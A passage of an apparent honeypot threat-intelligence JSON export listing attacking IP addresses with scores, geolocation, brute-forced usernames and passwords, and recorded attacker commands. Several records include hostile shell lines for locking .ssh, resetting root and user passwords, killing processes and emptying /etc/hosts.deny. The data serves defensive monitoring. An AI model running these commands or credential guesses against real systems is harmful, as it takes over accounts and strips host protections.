        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:37:47.008000+00:00",
        "last_seen_30d": "2026-05-31T07:56:32.904000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "37.58.136.133": {
      "attack_count": 180,
      "first_seen": "2026-05-18T17:49:18.913Z",
      "last_seen": "2026-05-22T15:50:03.845Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "rocky",
        "345gs5662d34",
        "aini",
        "gao",
        "irc",
        "jboss",
        "jingdong",
        "kingsoft",
        "naresh",
        "player",
        "suning",
        "takahashi",
        "wen",
        "xiaoming"
      ],
      "passwords_attempted": [
        "123456",
        "20220520",
        "2024",
        "3245gs5662d34",
        "345gs5662d34",
        "Dd112211",
        "a123",
        "gao123",
        "hi3518",
        "irc",
        "jboss",
        "kingsoft",
        "naresh",
        "rocky",
        "wen123",
        "wx123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"rocky\\n8cZvYvKfx8RQ\\n8cZvYvKfx8RQ\\n\"|passwd",
        "echo -e \"rocky\\n8cZvYvKfx8RQ\\n8cZvYvKfx8RQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16347,
      "as_org": "ADISTA SAS",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:49:18.913000+00:00",
        "last_seen_30d": "2026-05-22T16:01:01.450000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 56
      }
    },
    "175.110.115.68": {
      "attack_count": 174,
      "first_seen": "2026-05-04T19:44:58.247Z",
      "last_seen": "2026-05-27T12:33:34.511Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 47.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 203,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:44:58.247000+00:00",
        "last_seen_30d": "2026-05-27T12:34:39.379000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 87
      }
    },
    "42.100.60.21": {
      "attack_count": 171,
      "first_seen": "2026-05-20T18:45:55.563Z",
      "last_seen": "2026-05-21T06:22:27.277Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:45:55.563000+00:00",
        "last_seen_30d": "2026-05-21T06:23:36.934000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 89
      }
    },
    "148.72.208.160": {
      "attack_count": 160,
      "first_seen": "2026-05-12T02:14:45.935Z",
      "last_seen": "2026-05-12T04:34:21.398Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:14:45.935000+00:00",
        "last_seen_30d": "2026-05-12T04:35:27.371000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 160,
        "Suricata": 87
      }
    },
    "45.142.3.73": {
      "attack_count": 144,
      "first_seen": "2026-05-08T11:08:06.355Z",
      "last_seen": "2026-05-31T19:47:30.599Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.3,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:08:06.355000+00:00",
        "last_seen_30d": "2026-05-31T19:48:37.174000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 96,
        "Suricata": 72
      }
    },
    "81.57.104.208": {
      "attack_count": 136,
      "first_seen": "2026-05-19T07:05:33.566Z",
      "last_seen": "2026-05-19T16:59:22.936Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 29447,
      "as_org": "Scaleway SAS",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:05:33.566000+00:00",
        "last_seen_30d": "2026-05-19T17:00:29.351000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 68
      }
    },
    "106.57.197.195": {
      "attack_count": 124,
      "first_seen": "2026-05-20T18:28:09.392Z",
      "last_seen": "2026-05-21T00:33:43.433Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:09.392000+00:00",
        "last_seen_30d": "2026-05-21T00:34:48.350000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 62
      }
    },
    "192.3.206.66": {
      "attack_count": 120,
      "first_seen": "2026-05-11T02:29:30.627Z",
      "last_seen": "2026-05-31T19:05:22.995Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:29:30.627000+00:00",
        "last_seen_30d": "2026-05-31T19:06:28.152000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "81.211.72.167": {
      "attack_count": 113,
      "first_seen": "2026-05-22T00:40:15.700Z",
      "last_seen": "2026-05-22T01:10:41.637Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lab",
        "minecraft",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123123",
        "Abcd123!",
        "Password@123",
        "Root@123456",
        "abcd1234!@#$",
        "admin",
        "lab",
        "reza1234",
        "root123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NioVmKEsJ2pO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:27:18.255000+00:00",
        "last_seen_30d": "2026-05-22T01:11:48.902000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 27
      }
    },
    "115.57.56.68": {
      "attack_count": 50,
      "first_seen": "2026-05-23T03:34:31.734Z",
      "last_seen": "2026-05-23T03:39:56.174Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:34:31.734000+00:00",
        "last_seen_30d": "2026-05-23T03:41:02.944000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "144.48.130.14": {
      "attack_count": 50,
      "first_seen": "2026-05-21T21:39:45.194Z",
      "last_seen": "2026-05-21T21:45:09.689Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:39:45.194000+00:00",
        "last_seen_30d": "2026-05-21T21:46:18.561000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "113.221.37.68": {
      "attack_count": 48,
      "first_seen": "2026-05-20T18:28:06.331Z",
      "last_seen": "2026-05-20T22:34:49.582Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:28:06.331000+00:00",
        "last_seen_30d": "2026-05-20T22:35:58.683000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 24
      }
    },
    "223.123.124.120": {
      "attack_count": 40,
      "first_seen": "2026-05-27T16:17:56.978Z",
      "last_seen": "2026-05-27T16:22:16.421Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T16:17:56.978000+00:00",
        "last_seen_30d": "2026-05-27T16:23:26.025000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "42.232.246.128": {
      "attack_count": 28,
      "first_seen": "2026-05-21T16:09:36.077Z",
      "last_seen": "2026-05-21T16:12:37.521Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:09:36.077000+00:00",
        "last_seen_30d": "2026-05-21T16:13:46.920000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "185.120.89.19": {
      "attack_count": 26,
      "first_seen": "2026-05-02T20:59:53.903Z",
      "last_seen": "2026-05-02T21:15:55.662Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 197152,
      "as_org": "Comfort XXI Century Ltd.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:59:53.903000+00:00",
        "last_seen_30d": "2026-05-02T21:20:13.270000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 17
      }
    },
    "108.181.132.17": {
      "attack_count": 24,
      "first_seen": "2026-05-05T00:39:24.107Z",
      "last_seen": "2026-05-09T10:31:43.693Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:39:24.107000+00:00",
        "last_seen_30d": "2026-05-09T10:32:52.033000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "141.95.156.38": {
      "attack_count": 24,
      "first_seen": "2026-05-30T15:13:02.833Z",
      "last_seen": "2026-05-31T09:34:44.579Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 28.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T15:13:02.833000+00:00",
        "last_seen_30d": "2026-05-31T09:35:45.806000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "155.117.5.235": {
      "attack_count": 20,
      "first_seen": "2026-05-24T09:54:39.107Z",
      "last_seen": "2026-05-24T09:56:20.602Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:54:39.107000+00:00",
        "last_seen_30d": "2026-05-24T09:57:30.896000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "213.177.179.91": {
      "attack_count": 20,
      "first_seen": "2026-05-05T12:13:46.468Z",
      "last_seen": "2026-05-25T23:45:52.679Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:13:46.468000+00:00",
        "last_seen_30d": "2026-05-25T23:54:03.698000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Cowrie": 20
      }
    },
    "176.65.139.158": {
      "attack_count": 18,
      "first_seen": "2026-05-10T06:42:33.195Z",
      "last_seen": "2026-05-10T06:42:41.232Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "root"
      ],
      "commands_executed": [
        "uname -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.session.file_download",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:01:41.446000+00:00",
        "last_seen_30d": "2026-05-10T06:43:42.833000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 6
      }
    },
    "207.244.251.207": {
      "attack_count": 18,
      "first_seen": "2026-05-11T15:32:13.129Z",
      "last_seen": "2026-05-17T18:47:17.351Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "St Louis",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:32:13.129000+00:00",
        "last_seen_30d": "2026-05-17T18:48:19.460000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "78.168.78.125": {
      "attack_count": 18,
      "first_seen": "2026-05-12T06:56:27.277Z",
      "last_seen": "2026-05-12T07:06:40.430Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:56:27.277000+00:00",
        "last_seen_30d": "2026-05-12T07:07:44.388000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 13
      }
    },
    "142.93.141.106": {
      "attack_count": 12,
      "first_seen": "2026-05-09T05:40:00.503Z",
      "last_seen": "2026-05-11T23:20:21.109Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:40:00.503000+00:00",
        "last_seen_30d": "2026-05-11T23:21:21.976000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "186.226.58.84": {
      "attack_count": 12,
      "first_seen": "2026-05-14T04:04:05.288Z",
      "last_seen": "2026-05-14T04:43:08.903Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T04:04:05.288000+00:00",
        "last_seen_30d": "2026-05-14T04:44:16.631000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "85.190.254.104": {
      "attack_count": 12,
      "first_seen": "2026-05-12T21:28:06.321Z",
      "last_seen": "2026-05-21T15:36:36.139Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
